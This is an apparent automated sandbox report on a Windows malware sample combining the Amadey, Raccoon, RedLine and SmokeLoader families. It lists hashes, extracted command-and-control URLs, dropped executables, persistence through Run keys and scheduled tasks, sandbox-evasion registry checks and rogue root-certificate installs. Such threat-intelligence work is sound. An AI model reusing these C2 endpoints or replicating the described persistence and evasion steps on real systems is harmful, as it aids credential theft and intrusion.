amadey | 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017

Analysis

max time kernel
151s
max time network
148s
platform
windows10_x64
resource
win10-en-20211014
submitted
24-10-2021 07:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
Size

335KB
MD5

9a2ff6b89422fd5d1c64e51c30386d32
SHA1

44ecf3a5f52b4044b84421e654c881868cd0acc6
SHA256

021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017
SHA512

8a5941ea8ada618bf2e057d8a31c12f9d09e65074e80c35dfad586164a2c12af15bc611f4c0e0ffcb3a3599b319e70ce5b95d4621acafa2255828e1dfdd44701

Score

10^/10

amadey raccoon redline smokeloader 7ebf9b416b72a203df65383eec899dc689d2c3d7 backdoor discovery evasion infostealer persistence spyware stealer trojan vmprotect

Malware Config

Extracted

Family

smokeloader

Version

2020

http://xacokuo8.top/

http://hajezey1.top/

rc4.i32

Extracted

Family

raccoon

Botnet

7ebf9b416b72a203df65383eec899dc689d2c3d7

Attributes

url4cnc
http://telegatt.top/agrybirdsgamerept

http://telegka.top/agrybirdsgamerept

http://telegin.top/agrybirdsgamerept

https://t.me/agrybirdsgamerept

rc4.plain

Extracted

Family

amadey

Version

2.70

185.215.113.45/g4MbvE/index.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/376-136-0x0000000000418D06-mapping.dmp	family_redline
behavioral1/memory/376-135-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/3528-169-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/3528-174-0x000000000041A24E-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

Processes:

WerFault.exeWerFault.exe

description pid process target process

PID 836 created 1708 836 WerFault.exe D0AD.exe
PID 2240 created 1448 2240 WerFault.exe BC1A.exe
Downloads MZ/PE file

description	pid	process	target process
PID 836 created 1708	836	WerFault.exe	D0AD.exe
PID 2240 created 1448	2240	WerFault.exe	BC1A.exe

Executes dropped EXE 20 IoCs

Processes:

24D9.exe24D9.exe3F38.exe3F38.exe3F38.exe3F38.exeBC1A.exeD0AD.exeEEF4.exeFE47.exefl.exeBt.exeEEF4.exesqtvvs.exe12.exeservices32.exe15FE3522C4A8539009248.exesihost32.exesqtvvs.exesqtvvs.exe

pid	process
4060	24D9.exe
924	24D9.exe
2580	3F38.exe
1140	3F38.exe
64	3F38.exe
376	3F38.exe
1448	BC1A.exe
1708	D0AD.exe
3236	EEF4.exe
3376	FE47.exe
3340	fl.exe
4036	Bt.exe
3932	EEF4.exe
2212	sqtvvs.exe
1496	12.exe
2088	services32.exe
64	15FE3522C4A8539009248.exe
648	sihost32.exe
2216	sqtvvs.exe
608	sqtvvs.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Bt.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\Bt.exe	vmprotect
C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe	vmprotect
C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe	vmprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

123.exeBt.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	123.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Bt.exe

Deletes itself 1 IoCs

Processes:

pid process

3028
Loads dropped DLL 6 IoCs

Processes:

cock.exe

pid process

1176 cock.exe
1176 cock.exe
1176 cock.exe
1176 cock.exe
1176 cock.exe
1176 cock.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3028

pid	process
1176	cock.exe
1176	cock.exe
1176	cock.exe
1176	cock.exe
1176	cock.exe
1176	cock.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Bt.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run	Bt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\15FE3522C4A8539009248 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Bt.exe"	Bt.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 6 IoCs

Processes:

021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe24D9.exe3F38.exeD0AD.exeEEF4.exesqtvvs.exe

description	pid	process	target process
PID 3168 set thread context of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 4060 set thread context of 924	4060	24D9.exe	24D9.exe
PID 2580 set thread context of 376	2580	3F38.exe	3F38.exe
PID 1708 set thread context of 3528	1708	D0AD.exe	AppLaunch.exe
PID 3236 set thread context of 3932	3236	EEF4.exe	EEF4.exe
PID 2212 set thread context of 2216	2212	sqtvvs.exe	sqtvvs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

836 1708 WerFault.exe D0AD.exe
2240 1448 WerFault.exe BC1A.exe
2376 4036 WerFault.exe Bt.exe

pid	pid_target	process	target process
836	1708	WerFault.exe	D0AD.exe
2240	1448	WerFault.exe	BC1A.exe
2376	4036	WerFault.exe	Bt.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

24D9.exe021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	24D9.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	24D9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	24D9.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

832 schtasks.exe
3912 schtasks.exe
3292 schtasks.exe
3940 schtasks.exe
Download via BitsAdmin 1 TTPs 2 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exebitsadmin.exe

pid process

2008 bitsadmin.exe
2148 bitsadmin.exe

pid	process
832	schtasks.exe
3912	schtasks.exe
3292	schtasks.exe
3940	schtasks.exe

pid	process
2008	bitsadmin.exe
2148	bitsadmin.exe

Modifies system certificate store 2 TTPs 12 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

EEF4.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	EEF4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	EEF4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	EEF4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	EEF4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	EEF4.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C\Blob = 030000000100000014000000d89e3bd43d5d909b47a18977aa9d5ce36cee184c1400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb040000000100000010000000285ec909c4ab0d2d57f5086b225799aa0f000000010000003000000013baa039635f1c5292a8c2f36aae7e1d25c025202e9092f5b0f53f5f752dfa9c71b3d1b8d9a6358fcee6ec75622fabf9190000000100000010000000ea6089055218053dd01e37e1d806eedf5c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000850500003082058130820469a00302010202103972443af922b751d7d36c10dd313595300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3139303331323030303030305a170d3238313233313233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c05000382010100188751dc74213d9c8ae027b733d02eccecf0e6cb5e11de226f9b758e9e72fee4d6feaa1f9c962def034a7eaef48d6f723c433bc03febb8df5caaa9c6aef2fcd8eea37b43f686367c14e0cdf4f73ffedeb8b48af09196fefd43647efdccd201a17d7df81919c9422b13bf588bbaa4a266047688914e0c8914cea24dc932b3bae8141abc71f15bf0410b98000a220310e50cb1f9cd923719ed3bf1e43ab6f945132675afbbaaef3f7b773bd2c402913d1900d3175c39db3f7b180d45cd9385962f5ddf59164f3f51bdd545183fed4a8ee80661742316b50d50732744477f105d892a6b853114c4e8a96a4c80bc6a78cfb87f8e7672990c9dfed7910816a1a35f95	EEF4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	EEF4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	EEF4.exe
